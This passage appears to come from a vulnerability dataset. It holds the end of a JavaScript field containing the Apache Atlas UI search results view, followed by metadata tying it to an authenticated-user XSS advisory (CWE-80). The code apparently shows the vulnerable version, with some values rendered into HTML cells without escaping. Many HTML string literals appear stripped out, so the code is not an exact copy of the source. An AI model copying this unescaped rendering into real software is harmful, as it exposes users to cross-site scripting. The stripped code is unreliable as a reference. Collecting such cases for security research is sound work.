that.triggerUrl();\n }\n Utils.notifyInfo({\n html: true,\n content: Messages.search.noRecordForPage + '' + Utils.getNumberSuffix({ number: pageNumber, sup: true }) + ' page'\n });\n return;\n }\n if (isPostMethod) {\n Utils.findAndMergeRefEntity({\n attributeObject: dataOrCollection.entities,\n referredEntities: dataOrCollection.referredEntities\n });\n that.searchCollection.reset(dataOrCollection.entities, { silent: true });\n that.searchCollection.fullCollection.reset(dataOrCollection.entities, { silent: true });\n }\n\n\n /*Next button check.\n It's outside of Previous button else condition\n because when user comes from 2 page to 1 page than we need to check next button.*/\n if (dataLength < that.limit) {\n that.ui.nextData.attr('disabled', true);\n } else {\n that.ui.nextData.attr('disabled', false);\n }\n\n if (isFirstPage && (!dataLength || dataLength < that.limit)) {\n that.ui.paginationDiv.hide();\n } else {\n that.ui.paginationDiv.show();\n }\n\n // Previous button check.\n if (isFirstPage) {\n that.ui.previousData.attr('disabled', true);\n that.pageFrom = 1;\n that.pageTo = that.limit;\n } else {\n that.ui.previousData.attr('disabled', false);\n }\n\n if (options && options.next) {\n //on next click, adding \"1\" for showing the another records.\n that.pageTo = that.offset + that.limit;\n that.pageFrom = that.offset + 1;\n } else if (!isFirstPage && options && options.previous) {\n that.pageTo = that.pageTo - that.limit;\n that.pageFrom = (that.pageTo - that.limit) + 1;\n }\n that.ui.pageRecordText.html(\"Showing \" + that.searchCollection.models.length + \" records From \" + that.pageFrom + \" - \" + that.pageTo);\n that.activePage = Math.round(that.pageTo / that.limit);\n that.ui.activePage.attr('title', \"Page \" + that.activePage);\n that.ui.activePage.text(that.activePage);\n that.renderTableLayoutView();\n that.multiSelectEntity = [];\n\n if (dataLength > 0) {\n that.$('.searchTable').removeClass('noData')\n }\n\n if (Utils.getUrlState.isSearchTab() && value && !that.profileDBView) {\n var searchString = 'Results for: ' + CommonViewFunction.generateQueryOfFilter(that.value) + \"\";\n if (Globals.entityCreate && Globals.entityTypeConfList && Utils.getUrlState.isSearchTab()) {\n searchString += \"

    If you do not find the entity in search result below then you can\" + ' create new entity

    ';\n }\n that.$('.searchResult').html(searchString);\n }\n if (dataOrCollection.approximateCount || dataOrCollection.length) {\n that.ui.downloadResults.show();\n } else {\n that.ui.downloadResults.hide();\n }\n },\n silent: true,\n reset: true\n }\n if (this.value) {\n var checkBoxValue = {\n 'excludeDeletedEntities': (this.value.includeDE ? false : true),\n 'includeSubClassifications': (this.value.excludeSC ? false : true),\n 'includeSubTypes': (this.value.excludeST ? false : true),\n 'includeClassificationAttributes': true // server will return classication details with guid\n }\n }\n if (value) {\n if (value.searchType) {\n this.searchCollection.url = UrlLinks.searchApiUrl(value.searchType);\n }\n _.extend(this.searchCollection.queryParams, { 'limit': this.limit, 'offset': this.offset, 'query': _.trim(value.query), 'typeName': value.type || null, 'classification': value.tag || null, 'termName': value.term || null });\n if (this.profileDBView && value.typeName && value.guid) {\n var profileParam = {};\n profileParam['guid'] = value.guid;\n profileParam['relation'] = value.typeName === 'hive_db' ? '__hive_table.db' : '__hbase_table.namespace';\n profileParam['sortBy'] = 'name';\n profileParam['sortOrder'] = 'ASCENDING';\n _.extend(this.searchCollection.queryParams, profileParam);\n }\n if (isPostMethod) {\n this.searchCollection.filterObj = _.extend({}, filterObj);\n apiObj['data'] = _.extend(checkBoxValue, filterObj, _.pick(this.searchCollection.queryParams, 'query', 'excludeDeletedEntities', 'limit', 'offset', 'typeName', 'classification', 'termName'));\n Globals.searchApiCallRef = this.searchCollection.getBasicRearchResult(apiObj);\n } else {\n apiObj.data = null;\n this.searchCollection.filterObj = null;\n if (this.profileDBView) {\n _.extend(this.searchCollection.queryParams, checkBoxValue);\n }\n Globals.searchApiCallRef = this.searchCollection.fetch(apiObj);\n }\n } else {\n _.extend(this.searchCollection.queryParams, { 'limit': this.limit, 'offset': this.offset });\n if (isPostMethod) {\n apiObj['data'] = _.extend(checkBoxValue, filterObj, _.pick(this.searchCollection.queryParams, 'query', 'excludeDeletedEntities', 'limit', 'offset', 'typeName', 'classification', 'termName'));\n Globals.searchApiCallRef = this.searchCollection.getBasicRearchResult(apiObj);\n } else {\n apiObj.data = null;\n if (this.profileDBView) {\n _.extend(this.searchCollection.queryParams, checkBoxValue);\n }\n Globals.searchApiCallRef = this.searchCollection.fetch(apiObj);\n }\n }\n this.downloadSearchResultsParams.searchParameters = apiObj.data;\n this.generateBusinessMetadataAttrList();\n },\n tableRender: function(options) {\n var that = this,\n savedColumnOrder = options.order,\n TableLayout = options.table,\n columnCollection = Backgrid.Columns.extend({\n sortKey: \"displayOrder\",\n className: \"my-awesome-css-animated-grid\",\n comparator: function(item) {\n return item.get(this.sortKey) || 999;\n },\n setPositions: function() {\n _.each(this.models, function(model, index) {\n model.set(\"displayOrder\", (savedColumnOrder == null ? index : parseInt(savedColumnOrder[model.get('label')])) + 1, { silent: true });\n });\n return this;\n }\n });\n var columns = new columnCollection((that.searchCollection.dynamicTable ? that.getDaynamicColumns(that.searchCollection.toJSON()) : that.getFixedDslColumn()));\n columns.setPositions().sort();\n if (this.searchType == \"Advanced Search\" && columns.length && that.searchCollection.length) {\n //for dsl search with Select clause, default column to be use as sorting\n var tableColumnNames = Object.keys(that.searchCollection.toJSON()[0]);\n that.commonTableOptions['sortOpts'] = {\n sortColumn: tableColumnNames[0],\n sortDirection: \"ascending\"\n };\n }\n var table = new TableLayout(_.extend({}, that.commonTableOptions, {\n columns: columns\n }));\n if (table.collection.length === 0) {\n that.$(\".searchTable\").addClass('noData');\n }\n if (!that.REntityTableLayoutView) {\n return;\n }\n if (!that.value) {\n that.value = that.options.value;\n }\n that.REntityTableLayoutView.show(table);\n if (that.value.searchType !== \"dsl\") {\n that.ui.containerCheckBox.show();\n } else {\n that.ui.containerCheckBox.hide();\n }\n that.$(\".ellipsis-with-margin .inputAssignTag\").hide();\n table.trigger(\"grid:refresh\"); /*Event fire when table rendered*/\n // that.REntityTableLayoutView.$el.find('.colSort thead tr th:not(:first)').addClass('dragHandler');\n if (that.isTableDropDisable !== true) {\n var tableDropFunction = function(from, to, el) {\n tableDragger(document.querySelector(\".colSort\")).destroy();\n that.columnOrder = that.getColumnOrder(el.querySelectorAll('th.renderable'));\n that.triggerUrl();\n that.tableRender({ \"order\": that.columnOrder, \"table\": TableLayout });\n that.checkTableFetch();\n }\n that.REntityTableLayoutView.$el.find('.colSort thead tr th:not(.select-all-header-cell)').addClass('dragHandler');\n tableDragger(document.querySelector(\".colSort\"), { dragHandler: \".dragHandler\" }).on('drop', tableDropFunction);\n }\n if (Utils.getUrlState.isGlossaryTab()) {\n this.ui.excludeSubtypes.hide();\n this.ui.excludeSubClassifications.hide();\n } else if (this.fromView !== \"classification\") {\n this.ui.excludeSubtypes.show();\n this.ui.excludeSubClassifications.show();\n } else {\n this.ui.excludeSubtypes.hide();\n }\n },\n renderTableLayoutView: function(col) {\n var that = this;\n require(['utils/TableLayout'], function(TableLayout) {\n // displayOrder added for column manager\n if (that.value.uiParameters) {\n var savedColumnOrder = _.object(that.value.uiParameters.split(',').map(function(a) {\n return a.split('::');\n })); // get Column position from string to object\n }\n\n that.tableRender({ \"order\": savedColumnOrder, \"table\": TableLayout });\n that.checkTableFetch();\n });\n },\n generateAttributeLabelMap: function() {\n var that = this,\n params = this.downloadSearchResultsParams;\n if (params.searchParameters.attributes) {\n _.map(params.searchParameters.attributes, function(attr) {\n for (var label in that.tableColumnsLabelMap) {\n if (attr === that.tableColumnsLabelMap[label]) {\n params.attributeLabelMap[label] = that.tableColumnsLabelMap[label];\n }\n }\n });\n }\n },\n validateAttributeLabelMap: function() {\n var that = this,\n params = this.downloadSearchResultsParams;\n if (params.searchParameters.attributes.length !== 0) {\n _.map(params.searchParameters.attributes, function(attr) {\n for (var key in params.attributeLabelMap) {\n if (params.attributeLabelMap[key] !== attr) {\n delete params.attributeLabelMap[key];\n }\n }\n });\n } else {\n params.attributeLabelMap = {};\n }\n },\n generateBusinessMetadataAttrList: function() {\n var def = this.entityDefCollection.fullCollection.find({\n name: this.value.type,\n }),\n businessAttributeDefs,\n that = this;\n businessAttributeDefs = def ? def.get('businessAttributeDefs') : null;\n if (businessAttributeDefs) {\n _.each(\n businessAttributeDefs,\n function(businessMetadata, businessMetadataName) {\n _.each(businessMetadata, function(attr, index) {\n that.businessMetadataAttributes.push({\n name: businessMetadataName + '.' + attr.name,\n type: attr.typeName\n });\n });\n }\n );\n }\n },\n checkIsEditorValue: function(key) {\n var isEditorKey = false;\n if (this.businessMetadataAttributes.length) {\n _.each(this.businessMetadataAttributes, function(attr) {\n if (attr.name === key && attr.type === \"string\") {\n isEditorKey = true;\n return;\n };\n });\n }\n return isEditorKey;\n },\n getColumnOrder: function(arr) {\n var obj = {};\n for (var i = 0; i < arr.length; ++i) {\n var innerText = arr[i].innerText.trim();\n obj[(innerText == \"\" ? 'Select' : innerText)] = i;\n }\n return obj;\n },\n checkTableFetch: function() {\n if (this.asyncFetchCounter <= 0) {\n this.hideLoader();\n Utils.generatePopover({\n el: this.$('[data-id=\"showMoreLess\"]'),\n contentClass: 'popover-tag-term',\n viewFixedPopover: true,\n popoverOptions: {\n container: null,\n content: function() {\n return $(this).find('.popup-tag-term').children().clone();\n }\n }\n });\n }\n },\n getFixedDslColumn: function() {\n var that = this,\n nameCheck = 0,\n columnToShow = null,\n col = {};\n this.value = this.fromView === \"glossary\" ? this.value : Utils.getUrlState.getQueryParams() || this.value;\n if (this.value && this.value.searchType === \"basic\" && this.searchTableColumns && (this.searchTableColumns[this.value.type || this.value.tag] !== undefined)) {\n columnToShow = this.searchTableColumns[this.value.type || this.value.tag] == null ? [] : this.searchTableColumns[this.value.type || this.value.tag];\n }\n col['Check'] = {\n name: \"selected\",\n label: \"Select\",\n cell: \"select-row\",\n resizeable: false,\n orderable: false,\n renderable: (columnToShow ? _.contains(columnToShow, 'selected') : true),\n headerCell: \"select-all\"\n };\n\n\n col['name'] = {\n label: this.value && this.profileDBView ? \"Table Name\" : \"Name\",\n cell: \"html\",\n editable: false,\n resizeable: true,\n orderable: false,\n renderable: true,\n sortable: true,\n className: \"searchTableName\",\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var obj = model.toJSON(),\n nameHtml = \"\",\n name = Utils.getName(obj);\n if (!obj.attributes || obj.attributes.serviceType === undefined) {\n if (Globals.serviceTypeMap[obj.typeName] === undefined && that.entityDefCollection) {\n var defObj = that.entityDefCollection.fullCollection.find({ name: obj.typeName });\n if (defObj) {\n Globals.serviceTypeMap[obj.typeName] = defObj.get('serviceType');\n }\n }\n } else if (Globals.serviceTypeMap[obj.typeName] === undefined) {\n Globals.serviceTypeMap[obj.typeName] = obj.attributes ? obj.attributes.serviceType : null;\n }\n obj.serviceType = Globals.serviceTypeMap[obj.typeName];\n if (obj.guid) {\n if (obj.guid == \"-1\") {\n nameHtml = '' + name + '';\n } else {\n nameHtml = '' + name + '';\n }\n } else {\n nameHtml = '' + name + '';\n }\n if (obj.status && Enums.entityStateReadOnly[obj.status]) {\n nameHtml += '';\n nameHtml = '
    ' + nameHtml + '
    ';\n }\n var getImageData = function(options) {\n var imagePath = options.imagePath,\n returnImgUrl = null;\n that.checkEntityImage[model.get('guid')] = false;\n $.ajax({\n \"url\": imagePath,\n \"method\": \"get\",\n \"cache\": true\n })\n .always(function(data, status, xhr) {\n if (data.status == 404) {\n returnImgUrl = getImageData({\n \"imagePath\": Utils.getEntityIconPath({ entityData: obj, errorUrl: imagePath })\n });\n } else if (data) {\n that.checkEntityImage[model.get('guid')] = imagePath;\n returnImgUrl = imagePath;\n that.$(\"img[data-imgGuid='\" + obj.guid + \"']\").removeClass(\"searchTableLogoLoader\").attr(\"src\", imagePath);\n }\n });\n }\n var img = \"\";\n img = \"
    \";\n if (that.checkEntityImage[model.get('guid')] == undefined) {\n getImageData({ imagePath: Utils.getEntityIconPath({ entityData: obj }) });\n } else {\n if (that.checkEntityImage[model.get('guid')] != false) {\n img = \"
    \";\n }\n }\n return (img + nameHtml);\n }\n })\n };\n\n col['owner'] = {\n label: \"Owner\",\n cell: \"String\",\n editable: false,\n resizeable: true,\n orderable: true,\n renderable: true,\n sortable: true,\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var obj = model.toJSON();\n if (obj && obj.attributes && obj.attributes.owner) {\n return obj.attributes.owner;\n }\n }\n })\n };\n if (this.value && this.profileDBView) {\n col['createTime'] = {\n label: \"Date Created\",\n cell: \"Html\",\n editable: false,\n sortable: true,\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var obj = model.toJSON();\n if (obj && obj.attributes && obj.attributes.createTime) {\n return Utils.formatDate({ date: obj.attributes.createTime });\n } else {\n return '-'\n }\n }\n })\n }\n }\n if (this.value && !this.profileDBView) {\n col['description'] = {\n label: \"Description\",\n cell: \"String\",\n editable: false,\n resizeable: true,\n orderable: true,\n renderable: true,\n sortable: true,\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var obj = model.toJSON();\n if (obj && obj.attributes && obj.attributes.description) {\n return obj.attributes.description;\n }\n }\n })\n };\n\n\n col['typeName'] = {\n label: \"Type\",\n cell: \"Html\",\n editable: false,\n resizeable: true,\n orderable: true,\n sortable: true,\n renderable: (columnToShow ? _.contains(columnToShow, 'typeName') : true),\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var obj = model.toJSON();\n if (obj && obj.typeName) {\n return '' + obj.typeName + '';\n }\n }\n })\n };\n this.getTagCol({ 'col': col, 'columnToShow': columnToShow });\n if ((!_.contains([\"glossary\"], this.fromView))) {\n this.getTermCol({ 'col': col, 'columnToShow': columnToShow });\n }\n\n if (this.value && this.value.searchType === \"basic\") {\n var def = this.entityDefCollection.fullCollection.find({ name: this.value.type }),\n systemAttr = [],\n businessMetadataAttr = [],\n businessAttributes = {};\n if (this.value.type == \"_ALL_ENTITY_TYPES\") {\n this.businessMetadataDefCollection.each(function(model) {\n var sortedAttributes = model.get('attributeDefs') || null,\n name = model.get('name');\n if (sortedAttributes) {\n sortedAttributes = _.sortBy(sortedAttributes, function(obj) {\n return obj.name;\n });\n businessAttributes[name] = $.extend(true, {}, sortedAttributes);\n }\n })\n } else {\n businessAttributes = def ? ($.extend(true, {}, def.get('businessAttributeDefs')) || null) : null;\n }\n if (def || Globals[this.value.type] || (\n this.value.tag ?\n Globals[this.value.tag] ?\n Globals[this.value.tag] :\n Globals[Enums.addOnClassification[0]] :\n undefined)) {\n var attrObj = def ? Utils.getNestedSuperTypeObj({ data: def.toJSON(), collection: this.entityDefCollection, attrMerge: true }) : [];\n if (this.value.type && (Globals[this.value.type] || Globals[Enums.addOnEntities[0]])) {\n systemAttr = (Globals[this.value.type] || Globals[Enums.addOnEntities[0]]).attributeDefs;\n }\n if (this.value.tag && (Globals[this.value.tag] || Globals[Enums.addOnClassification[0]])) {\n systemAttr = (Globals[this.value.tag] || Globals[Enums.addOnClassification[0]]).attributeDefs;\n }\n attrObj = attrObj.concat(systemAttr);\n if (businessAttributes) {\n _.each(businessAttributes, function(businessMetadata, businessMetadataName) {\n _.each(businessMetadata, function(attr, index) {\n var attribute = attr;\n attribute.isBusinessAttributes = true;\n attribute.name = businessMetadataName + '.' + attribute.name;\n businessMetadataAttr.push(attribute);\n })\n })\n }\n attrObj = attrObj.concat(businessMetadataAttr);\n _.each(attrObj, function(obj, key) {\n var key = obj.name,\n isRenderable = _.contains(columnToShow, key),\n // isSortable = obj.typeName.search(/(array|map)/i) == -1, // commented : as sorting is required for all the columns except classifications and terms\n isSortable = obj.typeName.search(/(string|date|boolean|int|number|byte|float|long|double|short)/i) == 0, // commented : as sorting is required for all the columns except non-primitive types\n columnLabel;\n if (key == \"name\" || key == \"description\" || key == \"owner\") {\n if (columnToShow) {\n col[key].renderable = isRenderable;\n }\n return;\n }\n if (key == \"__historicalGuids\" || key == \"__classificationsText\" || key == \"__classificationNames\" || key == \"__propagatedClassificationNames\") {\n return;\n }\n columnLabel = Enums.systemAttributes[obj.name] ? Enums.systemAttributes[obj.name] : (_.escape(obj.isBusinessAttributes ? obj.name : obj.name.capitalize()));\n that.tableColumnsLabelMap[columnLabel] = obj.name;\n col[obj.name] = {\n label: columnLabel,\n cell: \"Html\",\n // headerCell: Backgrid.HeaderHTMLDecodeCell,\n editable: false,\n resizeable: true,\n orderable: true,\n sortable: isSortable,\n renderable: isRenderable,\n headerClassName: obj.isBusinessAttributes ? \"no-capitalize\" : \"\",\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var modelObj = model.toJSON();\n if (modelObj && modelObj.attributes && !_.isUndefined(modelObj.attributes[key])) {\n var tempObj = {\n 'scope': that,\n 'attributeDefs': [obj],\n 'valueObject': {},\n 'isTable': false\n };\n if (key == \"__labels\") {\n var values = modelObj.attributes[key] ? modelObj.attributes[key].split(\"|\") : null,\n valueOfArray = [];\n if (values) {\n if (values[values.length - 1] === \"\") { values.pop(); }\n if (values[0] === \"\") { values.shift(); }\n _.each(values, function(names) {\n valueOfArray.push('' + _.escape(names) + '');\n });\n return valueOfArray.join(' ');\n }\n }\n if (key == \"__customAttributes\") {\n var customAttributes = modelObj.attributes[key] ? JSON.parse(modelObj.attributes[key]) : null,\n valueOfArray = [];\n if (customAttributes) {\n _.each(Object.keys(customAttributes), function(value, index) {\n valueOfArray.push('' + _.escape(value) + ' : ' + _.escape(Object.values(customAttributes)[index]) + '');\n });\n return valueOfArray.join(' ');\n }\n }\n tempObj.valueObject[key] = modelObj.attributes[key];\n tempObj['isEditorValue'] = that.checkIsEditorValue(key);\n var tablecolumn = CommonViewFunction.propertyTable(tempObj);\n if (_.isArray(modelObj.attributes[key])) {\n var column = $(\"
    \" + tablecolumn + \"
    \")\n if (tempObj.valueObject[key].length > 2) {\n column.addClass(\"toggleList semi-collapsed\").append(\"Show More\");\n }\n return column;\n }\n return tablecolumn;\n }\n }\n })\n };\n });\n }\n }\n }\n return this.searchCollection.constructor.getTableCols(col, this.searchCollection);\n },\n onClickLoadMore: function() {\n var that = this;\n this.$el.on('click', \"[data-id='load-more-columns']\", function(event) {\n event.stopPropagation();\n event.stopImmediatePropagation();\n var $this = $(this),\n $toggleList = $(this).parents('.toggleList');\n if ($toggleList.length) {\n if ($toggleList.hasClass('semi-collapsed')) {\n $toggleList.removeClass('semi-collapsed');\n $this.text(\"Show Less\");\n } else {\n $toggleList.addClass('semi-collapsed');\n $this.text(\"Show More\");\n }\n }\n });\n },\n getDaynamicColumns: function(valueObj) {\n var that = this,\n col = {};\n if (valueObj && valueObj.length) {\n var firstObj = _.first(valueObj);\n _.each(_.keys(firstObj), function(key) {\n col[key] = {\n label: key.capitalize(),\n cell: \"Html\",\n editable: false,\n resizeable: true,\n orderable: true,\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var modelObj = model.toJSON();\n if (key == \"name\") {\n var nameHtml = \"\",\n name = _.escape(modelObj[key]);\n if (modelObj.guid) {\n nameHtml = '' + name + '';\n } else {\n nameHtml = '' + name + '';\n }\n if (modelObj.status && Enums.entityStateReadOnly[modelObj.status]) {\n nameHtml += '';\n return '
    ' + nameHtml + '
    ';\n }\n return nameHtml;\n } else if (modelObj && !_.isUndefined(modelObj[key])) {\n var tempObj = {\n 'scope': that,\n // 'attributeDefs':\n 'valueObject': {},\n 'isTable': false\n };\n tempObj['isEditorValue'] = that.checkIsEditorValue(key);\n tempObj.valueObject[key] = modelObj[key];\n return CommonViewFunction.propertyTable(tempObj);\n }\n }\n })\n };\n });\n }\n return this.searchCollection.constructor.getTableCols(col, this.searchCollection);\n },\n getTagCol: function(options) {\n var that = this,\n columnToShow = options.columnToShow,\n col = options.col;\n if (col) {\n col['tag'] = {\n label: \"Classifications\",\n cell: \"Html\",\n editable: false,\n sortable: false,\n resizeable: true,\n orderable: true,\n renderable: (columnToShow ? _.contains(columnToShow, 'tag') : true),\n className: 'searchTag',\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var obj = model.toJSON();\n if (obj.guid == \"-1\") {\n return\n }\n if (obj.status && Enums.entityStateReadOnly[obj.status]) {\n return '
    ' + CommonViewFunction.tagForTable(obj, that.classificationDefCollection); + '
    ';\n } else {\n return CommonViewFunction.tagForTable(obj, that.classificationDefCollection);\n }\n\n }\n })\n };\n }\n },\n getTermCol: function(options) {\n var that = this,\n columnToShow = options.columnToShow,\n col = options.col;\n if (col) {\n col['term'] = {\n label: \"Term\",\n cell: \"Html\",\n editable: false,\n sortable: false,\n resizeable: true,\n orderable: true,\n renderable: (columnToShow ? _.contains(columnToShow, 'term') : true),\n className: 'searchTag',\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var obj = model.toJSON();\n if (obj.guid == \"-1\") {\n return\n }\n if (obj.typeName && !(_.startsWith(obj.typeName, \"AtlasGlossary\"))) {\n if (obj.status && Enums.entityStateReadOnly[obj.status]) {\n return '
    ' + CommonViewFunction.termForTable(obj); + '
    ';\n } else {\n return CommonViewFunction.termForTable(obj);\n }\n }\n }\n })\n };\n }\n },\n addTagModalView: function(guid, multiple, entityCount) {\n var that = this;\n require(['views/tag/AddTagModalView'], function(AddTagModalView) {\n var view = new AddTagModalView({\n guid: guid,\n multiple: multiple,\n entityCount: entityCount,\n callback: function() {\n that.multiSelectEntity = [];\n that.fetchCollection();\n if (that.searchVent) {\n that.searchVent.trigger('entityList:refresh');\n }\n },\n tagList: that.getTagList(guid, multiple),\n showLoader: that.showLoader.bind(that),\n hideLoader: that.hideLoader.bind(that),\n collection: that.classificationDefCollection,\n enumDefCollection: that.enumDefCollection\n });\n });\n },\n getTagList: function(guid, multiple) {\n var that = this;\n if (!multiple || multiple.length === 0) {\n var model = this.searchCollection.find(function(item) {\n var obj = item.toJSON();\n if (obj.guid === guid) {\n return true;\n }\n });\n if (model) {\n var obj = model.toJSON();\n } else {\n return [];\n }\n return _.compact(_.map(obj.classifications, function(val) {\n if (val.entityGuid == guid) {\n return val.typeName\n }\n }));\n } else {\n return [];\n }\n },\n showLoader: function() {\n this.$('.fontLoader:not(.for-ignore)').addClass('show');\n this.$('.tableOverlay').addClass('show');\n },\n hideLoader: function(options) {\n this.$('.fontLoader:not(.for-ignore)').removeClass('show');\n options && options.type === 'error' ? this.$('.ellipsis-with-margin,.pagination-box').hide() : this.$('.ellipsis-with-margin,.pagination-box').show(); // only show for first time and hide when type is error\n this.$('.tableOverlay').removeClass('show');\n },\n onClickAddTag: function(e) {\n var guid = \"\",\n that = this,\n isTagMultiSelect = $(e.currentTarget).hasClass('multiSelectTag');\n if (isTagMultiSelect && this.multiSelectEntity && this.multiSelectEntity.length) {\n that.addTagModalView(guid, this.multiSelectEntity, this.activeEntityCountSelected);\n } else {\n guid = that.$(e.currentTarget).data(\"guid\");\n that.addTagModalView(guid);\n }\n },\n //This function checks for the lenght of Available terms and modal for adding terms is displayed accordingly.\n assignTermModalView: function(glossaryCollection, obj) {\n var that = this,\n terms = 0;\n _.each(glossaryCollection.fullCollection.models, function(model) {\n if (model.get('terms')) {\n terms += model.get('terms').length;\n };\n });\n if (terms) {\n require(['views/glossary/AssignTermLayoutView'], function(AssignTermLayoutView) {\n var view = new AssignTermLayoutView({\n guid: obj.guid,\n multiple: obj.multiple,\n associatedTerms: obj.associatedTerms,\n callback: function() {\n that.multiSelectEntity = [];\n that.fetchCollection();\n },\n glossaryCollection: glossaryCollection,\n });\n });\n } else {\n Utils.notifyInfo({\n content: \"There are no available terms\"\n });\n }\n },\n onClickAddTermBtn: function(e) {\n var that = this,\n guid = \"\",\n entityGuid = $(e.currentTarget).data(\"guid\"),\n obj = {\n guid: entityGuid,\n multiple: undefined,\n associatedTerms: undefined,\n },\n isTermMultiSelect = $(e.currentTarget).hasClass('multiSelectTerm');\n\n that.assignTermModalView(this.glossaryCollection, obj);\n if (isTermMultiSelect && this.multiSelectEntity && this.multiSelectEntity.length) {\n obj.multiple = this.multiSelectEntity;\n } else if (entityGuid) {\n obj.associatedTerms = this.searchCollection.find({ guid: entityGuid }).get('meanings');\n }\n },\n onClickTagCross: function(e) {\n var that = this,\n tagName = $(e.target).data(\"name\"),\n guid = $(e.target).data(\"guid\"),\n entityGuid = $(e.target).data(\"entityguid\"),\n assetName = $(e.target).data(\"assetname\");\n CommonViewFunction.deleteTag({\n tagName: tagName,\n guid: guid,\n associatedGuid: guid != entityGuid ? entityGuid : null,\n msg: \"
    Remove: \" + \"\" + _.escape(tagName) + \" assignment from \" + _.escape(assetName) + \" ?
    \",\n titleMessage: Messages.removeTag,\n okText: \"Remove\",\n showLoader: that.showLoader.bind(that),\n hideLoader: that.hideLoader.bind(that),\n callback: function() {\n that.fetchCollection();\n if (that.searchVent) {\n that.searchVent.trigger('entityList:refresh');\n }\n }\n });\n\n },\n onClickTermCross: function(e) {\n var $el = $(e.target),\n termGuid = $el.data('termguid'),\n guid = $el.data('guid'),\n termName = $(e.currentTarget).text(),\n assetname = $el.data('assetname'),\n meanings = this.searchCollection.find({ \"guid\": guid }).get(\"meanings\"),\n that = this,\n termObj = _.find(meanings, { termGuid: termGuid });\n CommonViewFunction.removeCategoryTermAssociation({\n termGuid: termGuid,\n model: {\n guid: guid,\n relationshipGuid: termObj.relationGuid\n },\n collection: that.glossaryCollection,\n msg: \"
    Remove: \" + \"\" + _.escape(termName) + \" assignment from \" + _.escape(assetname) + \"?
    \",\n titleMessage: Messages.glossary.removeTermfromEntity,\n isEntityView: true,\n buttonText: \"Remove\",\n callback: function() {\n that.fetchCollection();\n }\n });\n },\n onClicknextData: function() {\n this.offset = this.offset + this.limit;\n _.extend(this.searchCollection.queryParams, {\n offset: this.offset\n });\n if (this.value) {\n this.value.pageOffset = this.offset;\n this.triggerUrl();\n }\n this.fetchCollection(null, {\n next: true\n });\n },\n onClickpreviousData: function() {\n this.offset = this.offset - this.limit;\n if (this.offset <= -1) {\n this.offset = 0;\n }\n _.extend(this.searchCollection.queryParams, {\n offset: this.offset\n });\n if (this.value) {\n this.value.pageOffset = this.offset;\n this.triggerUrl();\n }\n this.fetchCollection(null, {\n previous: true\n });\n },\n onClickCreateEntity: function(e) {\n var that = this;\n $(e.currentTarget).blur();\n require([\n 'views/entity/CreateEntityLayoutView'\n ], function(CreateEntityLayoutView) {\n var view = new CreateEntityLayoutView({\n entityDefCollection: that.entityDefCollection,\n typeHeaders: that.typeHeaders,\n searchVent: that.searchVent,\n callback: function() {\n that.fetchCollection();\n }\n });\n });\n },\n onCheckExcludeIncludeResult: function(e) {\n var flag = false,\n val = $(e.currentTarget).attr('data-value');\n if (e.target.checked) {\n flag = true;\n }\n if (this.value) {\n this.value[val] = flag;\n this.triggerUrl({ mergeBrowserUrl: true });\n }\n _.extend(this.searchCollection.queryParams, { limit: this.limit, offset: this.offset });\n this.fetchCollection();\n\n },\n onDownloadSearchResults: function() {\n this.generateAttributeLabelMap();\n Utils.disableRefreshButton(this.ui.downloadResults, this);\n if (this.value.searchType !== \"basic\") {\n this.downloadSearchResultsParams.searchParameters = {\n \"limit\": this.limit,\n \"offset\": this.offset,\n \"query\": this.value.query || null,\n \"typeName\": this.value.type || null\n };\n delete this.downloadSearchResultsParams.attributeLabelMap;\n }\n var apiObj = {\n sort: false,\n data: this.downloadSearchResultsParams,\n success: function(model, response) {\n Utils.notifySuccess({\n content: \"The current search results have been enqueued for download. You can access the csv file by clicking the large arrow icon at the top of the page.\"\n });\n },\n reset: true,\n complete: function() {},\n error: function(error) {}\n }\n this.downloadSearchResults.startDownloading(apiObj);\n },\n changePageLimit: function(e, obj) {\n if (!obj || (obj && !obj.skipViewChange)) {\n var limit = parseInt(this.ui.showPage.val());\n if (limit == 0) {\n this.ui.showPage.data('select2').$container.addClass('has-error');\n return;\n } else {\n this.ui.showPage.data('select2').$container.removeClass('has-error');\n }\n this.limit = limit;\n this.offset = 0;\n if (this.value) {\n this.value.pageLimit = this.limit;\n this.value.pageOffset = this.offset;\n this.triggerUrl();\n }\n _.extend(this.searchCollection.queryParams, { limit: this.limit, offset: this.offset });\n this.fetchCollection();\n }\n },\n gotoPagebtn: function(e) {\n var that = this;\n var goToPage = parseInt(this.ui.gotoPage.val());\n if (!(_.isNaN(goToPage) || goToPage <= -1)) {\n if (this.finalPage && this.finalPage < goToPage) {\n Utils.notifyInfo({\n html: true,\n content: Messages.search.noRecordForPage + '' + Utils.getNumberSuffix({ number: goToPage, sup: true }) + ' page'\n });\n return;\n }\n this.offset = (goToPage - 1) * this.limit;\n if (this.offset <= -1) {\n this.offset = 0;\n }\n _.extend(this.searchCollection.queryParams, { limit: this.limit, offset: this.offset });\n if (this.offset == (this.pageFrom - 1)) {\n Utils.notifyInfo({\n content: Messages.search.onSamePage\n });\n } else {\n if (this.value) {\n this.value.pageOffset = this.offset;\n this.triggerUrl();\n }\n // this.offset is updated in gotoPagebtn function so use next button calculation.\n this.fetchCollection(null, { 'next': true });\n }\n }\n }\n });\n return SearchResultLayoutView;\n});" +repo = "apache/atlas" +url = "https://github.com/apache/atlas.git" + +[[case]] +advisory = "GHSA-v73p-f52r-fmmr" +advisory_text = "Apache Atlas UI: Authenticated User XSS\n\nAn authenticated user can perform XSS.\n\nThis issue affects Apache Atlas versions 2.4.0 and earlier.\n\nUsers are recommended to upgrade to version 2.5.0, which fixes the issue." +commit = "800f979307d6ea0f0b6563ec890f6b728022e497" +cwe = "CWE-80" +family = "output_encoding" +function = "function" +function_lines = [[27, 347]] +id = "apache-atlas-42a370a3cdec7d12" +language 